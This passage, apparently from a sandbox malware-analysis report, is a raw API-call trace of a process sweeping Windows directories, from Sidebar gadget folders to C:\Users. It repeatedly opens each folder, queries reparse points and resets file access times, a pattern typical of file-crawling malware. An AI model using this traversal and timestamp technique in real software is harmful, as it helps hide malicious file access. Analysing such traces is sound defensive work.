"c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.573] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.573] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.573] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.573] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.573] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.574] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0255.575] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.575] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.575] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.575] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.575] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.577] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0255.578] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.578] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.580] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0255.581] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.581] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.582] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0255.582] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.582] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.582] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0255.582] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.582] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.583] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.583] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.583] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.588] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.588] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.588] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.589] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.589] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.589] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.590] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.590] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.590] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.590] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0255.590] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.591] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.591] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.591] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.591] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.595] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0255.595] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.595] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.596] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0255.596] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.596] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.596] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c8 [0255.596] SetFileTime (hFile=0x1c8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.596] DeviceIoControl (in: hDevice=0x1c8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.597] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0255.597] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.597] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.598] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.598] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.598] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.600] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.600] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.600] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.601] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\on_desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0255.601] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.601] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.601] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.601] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0255.601] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0255.602] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.603] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.603] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.603] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0255.603] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.603] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.603] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0255.604] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.604] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.604] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.604] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0255.604] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0255.608] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0255.608] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.608] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.612] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0255.612] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0255.612] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0255.615] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets" (normalized: "c:\\program files (x86)\\windows sidebar\\shared gadgets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0255.615] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0255.615] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0255.616] CreateFileW (lpFileName="C:\\Recovery" (normalized: "c:\\recovery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0255.616] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15ff974, lpLastWriteTime=0x15ff974) returned 0 [0255.616] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff9cc, lpOverlapped=0x0) returned 0 [0255.617] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0255.617] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0255.617] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0255.617] CreateFileW (lpFileName="C:\\Users" (normalized: "c:\\users"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0255.617] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff974, lpLastWriteTime=0x15ff974) returned 0 [0255.617] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff9cc, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff9cc, lpOverlapped=0x0) returned 0 [0255.617] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0255.617] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0255.617] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0255.618] CreateFileW 